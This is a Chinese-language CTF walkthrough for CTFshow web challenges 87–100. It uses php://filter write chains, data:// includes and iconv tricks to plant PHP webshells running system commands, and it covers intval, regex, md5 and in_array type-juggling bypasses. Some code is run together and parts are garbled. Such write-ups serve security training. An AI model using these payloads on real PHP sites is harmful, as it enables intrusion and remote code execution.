CTFSHOW WEB 1-100

所以这个题目思路和上一题思路差不多

web82-web86

特点时间开放题目

web87

 <?phpif(isset($_GET['file'])){    $file = $_GET['file'];    $content = $_POST['content'];    $file = str_replace("php", "???", $file);    $file = str_replace("data", "???", $file);    $file = str_replace(":", "???", $file);    $file = str_replace(".", "???", $file);    file_put_contents(urldecode($file), "".$content);}else{    highlight_file(__FILE__);} 

过滤了php,data,:,.等

file_put_contents()

定义和用法

file_put_contents() 函数把一个字符串写入文件中。

与依次调用 fopen()，fwrite() 以及 fclose() 功能一样。

语法

file_put_contents(file,data,mode,context)

说明

参数 data 可以是数组（但不能是多维数组）。

自 PHP 5.1.0 起，data 参数也可以被指定为 stream 资源，stream 中所保存的缓存数据将被写入到指定文件中，这种用法就相似于使用 stream_copy_to_stream() 函数。

对 context 参数的支持是 PHP 5.0.0 添加的。

返回值

该函数将返回写入到文件内数据的字节数。

实例

输出：

26

urldecode

urldecode() 解码 URL 字符串函数。

此函数用于解码给出的已编码字符串中的任何 %##以及中文等被编码的内容。 （加号（‘+’）被解码成一个空格字符）。

该函数经常被使用于php解码URL中的中文字符串。

实例

上面的代码将输出：

w3cschool你好

解题

使用之前的file=/var/log/nginx/access.log的.被过滤和替换

参考文章

https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list

分析代码，首先php被禁用了，这个伪协议用不了，data也被禁用了，但是在最后有显示urldecode，我们要把传入的参数进行二次加密，那么问题来了，这个函数是写入文件的，但是我们看到会直接die，但是我们使用rot13编码后可以将它变成乱码，问题不大

payload?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30

意思就是?file=php://filter/string.rot13/resource=2.php

然后payloadcontent=

然后访问2.php

payload2=system('tac *');

$flag="ctfshow{d5083718-9ed3-476e-b9c0-0783b692cad5}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-16 11:25:00 # @Last Modified by: h1xa # @Date: 2020-09-16 11:24:37 # @Author: h1xa # -*- coding: utf-8 -*- /

file时需要两次urlencode，这样可以绕过过滤(第一次解码是自动解码，此时字符串里面没有诸如php的字符，第二次解码是代码中的urldecode()，这时候恢复成正常的写过滤器。如果只有一次编码，就不能绕过过滤了)。注意，hackbar没办法进行全编码，使用其他的在线工具就行了。
再看content，如果正常传入php代码，则会因为前头die()的原因直接退出，所以需要使用写过滤器去写入，可以时base64过滤器或者rot13，这样在写入file文件时候自动解码，连带着前头的一起，就会破坏掉这句die()了。

那么传入的file如下：

/?file=php://filter/write=convert.base64-decode/resource=1.php//两次urlencode后/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

content的内容(但注意的是前面剩下phpdie，一共6个字符，所以需要再加2个字符变8个,因为base64算法解码时是4个byte一组)：

content=<?php system('tac f*.php');?>//base64编码 content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=

或者也可以使用rot13过滤器与编码，也是一个道理：
传入的file如下：

/?file=php://filter/write=string.rot13/resource=2.php//两次urlencode后/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30

content的内容如下(两次rot13后会变成原样)：

content=<?php system('tac f*.php');?>//rot13编码后：content=<?cuc flfgrz('gnp s*.cuc');?>

web88

if(isset($_GET['file'])){    $file = $_GET['file'];    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){        die("error");    }    include($file);}else{    highlight_file(__FILE__);} 

正则表达式过滤

过滤挺多 php ~ ! @

使用data://text/plain;base64,xxxxx

但是要注意过滤了 +,=

可以加填充符号

aaaa

PD9waHAgc3lzdGVtKCdscycpICAgICAgICAgICAgPz5hYWFh

如果不加aaa则必然出现+

尝试之后

a

PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTthPz5h

成功回显

web116

打开以后是一个视频播放页面，提示是LFI，尝试直接本地文件包含：

http://69af3458-d457-412c-80a8-6fff13402aba.challenge.ctf.show/?file=/var/www/html/index.php

HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 24 Dec 2022 12:11:57 GMTContent-Type: video/mp4Connection: closeX-Powered-By: PHP/7.3.22Content-Length: 353<?phperror_reporting(0);//过滤function filter($x){    if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){        die('too young too simple sometimes naive!');    }}$file=isset($_GET['file'])?$_GET['file']:"5.mp4";filter($file);//进入函数header('Content-Type: video/mp4');header("Content-Length: $file");readfile($file);//执行file?>

过滤了

/http|https|data|input|rot13|base64|string|log|sess/i

data不行

input不行

直接跑

/?file=flag.php

GET /?file=flag.php HTTP/1.1Host: 69af3458-d457-412c-80a8-6fff13402aba.challenge.ctf.showUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*highlight_file(__FILE__);error_reporting(0);function filter($x){    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){        die('too young too simple sometimes naive!');    }}$file=$_GET['file'];$contents=$_POST['contents'];filter($file);file_put_contents($file, "".$contents); 

和之前有几道题一样的思路，使用过滤器写入一句话木马，这样在写入后进行过滤器指定的编码(解码)的过程中会把die()函数破坏掉，进而执行我们写入的木马。
convert.iconv.：一种过滤器，和使用iconv()函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str )：将字符串$str从$in_charset编码转换到$out_charset
这里引入usc-2的概念，作用是对目标字符串每两位进行一反转，值得注意的是，因为是两位所以字符串需要保持在偶数位上

$result = iconv("UCS-2LE","UCS-2BE", '');echo "经过一次反转:".$result."\n";echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);//输出结果如下：//经过一次反转:??//经过第二次反转:

/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.phpcontents=??

php特性

web89

 <?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];    if(preg_match("/[0-9]/", $num)){        die("no no no!");    }    if(intval($num)){        echo $flag;    }} 

get方法传入num，要绕过正则表达式的检验，然后intval方法为true

intavl

intval() 函数用于获取变量的整数值。

intval(mixed $value, int $base = 10): int

intval() 函数通过使用指定的进制 base 转换（默认是十进制），返回变量 var 的 integer 数值。 intval() 不能用于 object，否则会产生 E_NOTICE 错误并返回 1。

参数 ¶

• value

  要转换成 integer 的数量值

• base

  转化所使用的进制注意:如果 base 是 0，通过检测 value 的格式来决定使用的进制：如果字符串包括了 “0x” (或 “0X”) 的前缀，使用 16 进制 (hex)；否则，如果字符串以 “0” 开始，使用 8 进制(octal)；否则，将使用 10 进制 (decimal)。

返回值 ¶

成功时返回 value 的 integer 值，失败时返回 0。 空的 array 返回 0，非空的 array 返回 1（本题目的关键）。

最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例，在这样的系统上，intval('1000000000000') 会返回 2147483647。64 位系统上，最大带符号的 integer 值是 9223372036854775807。

字符串有可能返回 0，虽然取决于字符串最左侧的字符。 使用 整型转换 的共同规则。

echo intval(42);                      // 42echo intval(4.2);                     // 4echo intval('42');                    // 42echo intval('+42');                   // 42echo intval('-42');                   // -42echo intval(042);                     // 34echo intval('042');                   // 42echo intval(1e10);                    // 1410065408echo intval('1e10');                  // 1echo intval(0x1A);                    // 26echo intval(42000000);                // 42000000echo intval(420000000000000000000);   // 0echo intval('420000000000000000000'); // 2147483647echo intval(42, 8);                   // 42echo intval('42', 8);                 // 34echo intval(array());                 // 0echo intval(array('foo', 'bar'));     // 1?>

如题目，php的if语句中，只要条件大于0即可执行语句，这里通过数组绕过

http://7fcced56-de37-4290-b8e1-f24bad12efec.challenge.ctf.show/?num[]= array(‘a’)

拓展：php数组

Array 数组 ¶

PHP 中的 array 实际上是一个有序映射。映射是一种把 values 关联到 keys 的类型。此类型针对多种不同用途进行了优化； 它可以被视为数组、列表（向量）、哈希表（映射的实现）、字典、集合、堆栈、队列等等。 由于 array 的值可以是其它 array 所以树形结构和多维 array 也是允许的。

注意:

​ 可以用短数组语法 [] 替代 array() 。

$array = array(    "foo" => "bar",    "bar" => "foo",);// 使用短数组语法$array = [    "foo" => "bar",    "bar" => "foo",];?>

​ key 可以是 integer 或者 string。value 可以是任意类型。

​ 此外 key 会有如下的强制转换：

• String 中包含有效的十进制 int，除非数字前面有一个 + 号，否则将被转换为 int 类型。例如键名 "8" 实际会被储存为8。另外， "08"不会被强制转换，因为它不是一个有效的十进制整数。
• Float 也会被转换为 int ，意味着其小数部分会被舍去。例如键名8.7 实际会被储存为 8。
• Bool 也会被转换成 int。即键名true 实际会被储存为 1而键名 false 会被储存为 0。
• Null 会被转换为空字符串，即键名null 实际会被储存为 ""。
• Array 和 object 不能被用为键名。坚持这么做会导致警告：Illegal offset type。

​ 如果在数组定义时多个元素都使用相同键名，那么只有最后一个会被使用，其它的元素都会被覆盖。

示例 #2 类型转换与覆盖的示例

 <?php$array = array(     1    => "a",     "1"  => "b",     1.5  => "c",     true => "d", ); var_dump($array);?> 

以上例程会输出：

array(1) {  [1]=>  string(1) "d"}

​ 上例中所有的键名都被强制转换为 1，则每一个新单元都会覆盖前一个的值，最后剩下的只有一个 "d"。

​ PHP 数组可以同时含有 int 和 string 类型的键名，因为PHP 实际并不区分索引数组和关联数组。

https://www.php.net/manual/zh/language.types.array.php

web90

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];    if($num==="4476"){//严格比较相等        die("no no no!");    }    if(intval($num,0)===4476){        echo $flag;        //进入这一步骤    }else{        echo intval($num,0);    }} 

这个题目要利用intval的进制转换，4476转化为0x117c

/?num=0x117c

即可绕过

web91

show_source(__FILE__);include('flag.php');$a=$_GET['cmd'];if(preg_match('/^php$/im', $a)){    if(preg_match('/^php$/i', $a)){        echo 'hacker';    }    else{        //进入        echo $flag;    }}else{    echo 'nonononono';} 

这题一看要进行绕过正则表达式

字符 ^ 和 $ 同时使用时，表示精确匹配，需要匹配到以php开头和以php结尾的字符串才会返回true，否则返回false

/m 多行匹配模式下，若存在换行\n并且有开始^或结束$符的情况下，将以换行为分隔符，逐行进行匹配。因此当我们传入以下payload时，第一个if会返回true。

但是当不是多行匹配模式的时候，出现换行符 %0a的时，$cmd的值会被当做两行处理。而此时第二个if正则匹配不进行多行匹配，所以当我们传入以下payload时，不符合以php开头和以php结尾会返回false。

payload如下：

?cmd=aaa%0aphp

web92

 <?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];    if($num==4476){        die("no no no!");    }    if(intval($num,0)==4476){        echo $flag;    }else{        echo intval($num,0);    }} 

和web90类似，但是不一样，这里的==而不是===
由于PHP比较运算符 == 在进行比较的时候，会先将字符串类型转化成相同，再比较值是否相等，所以当我们输入如下payload时，$num==4476的比较结果由于字符串类型相同，但是值不一样，所以返回false，而intval($num,0)==4476的比较结果，由于base为0，会自动识别为16进制，比较的结果为true，从而获得flag。

判断值相等而不是类型相等

?num=0x117c

但是解法一致

web93

 <?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];    if($num==4476){        die("no no no!");    }    if(preg_match("/[a-z]/i", $num)){        die("no no no!");    }    if(intval($num,0)==4476){        echo $flag;    }else{        echo intval($num,0);    }} 

这里多加了正则表达式的过滤，要绕过

这里的/[a-z]/i表示匹配集合的任意a-z的字符，且大小写不敏感

不能直接使用上题目的解法了

转换为8进制试试

/?num=010574

成功绕过，因为没有a-z的字母

其他解法（来自互联网）

我们还可以使用小数来绕过，例如4476.1 我们显然可以绕过第一个比较，又由于intval函数是取整数所以可以绕过第二个比较从而获得flag。

web94

 <?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];    if($num==="4476"){        die("no no no!");    }    if(preg_match("/[a-z]/i", $num)){        die("no no no!");    }    if(!strpos($num, "0")){        die("no no no!");    }    if(intval($num,0)===4476){        echo $flag;    }} 

这里又多加了strpos函数

strpos

(PHP 4, PHP 5, PHP 7, PHP 8)

strpos — 查找字符串首次出现的位置

说明1

strpos(string $haystack, string $needle, int $offset = 0): int|false

返回 needle 在 haystack 中首次出现的数字位置。

参数2

• haystack

  ​ 在该字符串中进行查找。

• needle

  ​ Prior to PHP 8.0.0, if needle is not a string, it is converted to an integer and applied as the ordinal value of a character. This behavior is deprecated as of PHP 7.3.0, and relying on it is highly discouraged. Depending on the intended behavior, the needle should either be explicitly cast to string, or an explicit call to chr() should be performed.

• offset

  ​ 如果提供了此参数，搜索会从字符串该字符数的起始位置开始统计。如果是负数，搜索会从字符串结尾指定字符数开始。

返回值 ¶

返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始，而不是从1开始的。

如果没找到 needle，将返回 false

这里传入的值必须包含0，不然会失败

使用小数试试

/?num=4476.1

不行，因为

改进

/?num=4476.10

成功

web95

 <?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];    if($num==4476){        die("no no no!");    }    if(preg_match("/[a-z]|\./i", $num)){        die("no no no!!");    }    if(!strpos($num, "0")){        die("no no no!!!");    }    if(intval($num,0)===4476){        echo $flag;    }} 

与上题目相比，加了小数点.的过滤

这里使用八进制绕过前面要加入+

?num=+010574

http://c224b0f7-0baf-41f8-b7bc-f5dc89da7ee8.challenge.ctf.show/?num=+010574

web96

highlight_file(__FILE__);if(isset($_GET['u'])){    if($_GET['u']=='flag.php'){        die("no no no");    }else{        highlight_file($_GET['u']);    }} 

http://4dc47996-03b1-450e-93a9-3344c00000fd.challenge.ctf.show/?u=./flag.php

./flag.php

不知道为啥不能用*等通配符

web97

include("flag.php");highlight_file(__FILE__);if (isset($_POST['a']) and isset($_POST['b'])) {if ($_POST['a'] != $_POST['b'])if (md5($_POST['a']) === md5($_POST['b']))echo $flag;elseprint 'Wrong.';}?> 

有点复杂

也就是满足上述的所有条件

• 存在a和b的post请求
• a的值不等于b的值
• 两者的md5值相等

一眼md5绕过

PHP在处理哈希字符串时，它把每一个以“0E”开头的哈希值都解释为0，所以如果两个不同的密码经过哈希以后，其哈希值都是以“0E”开头的，那么PHP将会认为他们相同，都是0。

但是不行

a=QNKCDZO&b=240610708

想到了使用数组绕过

a[]=1&b[]=2

即可

web98

Notice: Undefined index: flag in /var/www/html/index.php on line 15Notice: Undefined index: flag in /var/www/html/index.php on line 16Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17<?phpinclude("flag.php");$_GET?$_GET=&$_POST:'flag';$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';//接下来两句好像没啥用，不过为了保险，还是直接还是把flag=xx$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>

参考文献

https://www.php.cn/php-notebook-172859.html

一眼一看啥玩意格式。

直接看题解

修改一下代码

include('flag.php');if($_GET){$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)}else{"flag";} if($_GET['flag']=='flag'){$_GET=&$_COOKIE;}else{'flag';

所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用，因为我们不提交 flag 参数

&的话你可以理解成C里面的指针,指向地址,那么就很简单,简单的来说就是$_GET=&$_POST就相当于$_GET指向了$_POST的地址,如果$_GET改变了$_POST也要跟着变,同理,$_POST变了$_GET也会跟着变,所以他们两个的值是相等的

web99

highlight_file(__FILE__);$allow = array();// 创建数组for ($i=36; $i < 0x36d; $i++) {     array_push($allow, rand(1,$i));// array_push() 函数向数组尾部插入一个或多个元素。}if(isset($_GET['n']) && in_array($_GET['n'], $allow)){    file_put_contents($_GET['n'], $_POST['content']);// file_put_contents() 函数把一个字符串写入文件中。}?> 

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

rand(1,$i)——随机生成1-877之间的数

//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1

//写入1.php文件 内容是

综上，我们可以发现数组中的值是int，而在弱类型中当php字符串和int比较时,字符串会被转换成int，所以 字符串中数字后面的字符串会被忽略。题目中的in_array没有设置type,我们可以输入字符串5.php(此处数字随意，只要在rand(1,0x36d)之间即可),转换之后也就是5,明显是在题目中生成的数组中的,满足条件，同时进入下一步后，我们就可将一句话木马写入了5.php中，然后蚁剑连接即可查看到flag

web100

 <?phphighlight_file(__FILE__);include("ctfshow.php");//flag in class ctfshow;$ctfshow = new ctfshow();$v1=$_GET['v1'];$v2=$_GET['v2'];$v3=$_GET['v3'];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){    if(!preg_match("/\;/", $v2)){        if(preg_match("/\;/", $v3)){            eval("$v2('ctfshow')$v3");        }    }    }?>Notice: Undefined index: v1 in /var/www/html/index.php on line 17Notice: Undefined index: v2 in /var/www/html/index.php on line 18Notice: Undefined index: v3 in /var/www/html/index.php on line 19

三层过滤

先验证v1,v2,v3的是否为数字，然后正则表达式过滤

PHP is_numeric() 函数

如果指定的变量是数字和数字字符串则返回 TRUE，否则返回 FALSE，注意浮点型返回 1，即 TRUE。

关键看这一句

&& > || > = > and > or

&&  ||  =   and   or//从左往右，从高到低

=的运算符比and高 就是把is_numeric($v1)的返回值赋值给$v0,然后和后面的进行逻辑运算,并不会修改$v0的值.

对于v0的值只需要看v1就可以v2,v3是干扰

v2必须不匹配; 也就是没有必须有;

v3必须匹配; 也就是必须有;

http://38e06652-f343-4782-b325-dba28c92498c.challenge.ctf.show/?v1=1&v2=var_dump&v3=;

回显

string(7) "ctfshow" 

要把ctfshow

http://38e06652-f343-4782-b325-dba28c92498c.challenge.ctf.show/?v1=222&v2=var_dump($ctfshow)&v3=;

object(ctfshow)#1 (3) { ["dalaoA"]=> NULL ["dalaoB"]=> NULL ["flag_is_746e30ce0x2dbbbf0x2d427c0x2d9dc90x2da6f6caf69f84"]=> NULL }Fatal error: Uncaught Error: Function name must be a string in /var/www/html/index.php(24) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(24): eval() #1 {main} thrown in /var/www/html/index.php(24) : eval()'d code on line 1

专题

年——CTF

除夕

 <?phpinclude "flag.php";$year = $_GET['year'];if($year==2022 && $year+1!==2023){    echo $flag;}else{    highlight_file(__FILE__);} 

2022.0绕过

来源地址：https://blog.csdn.net/weixin_54558860/article/details/127950826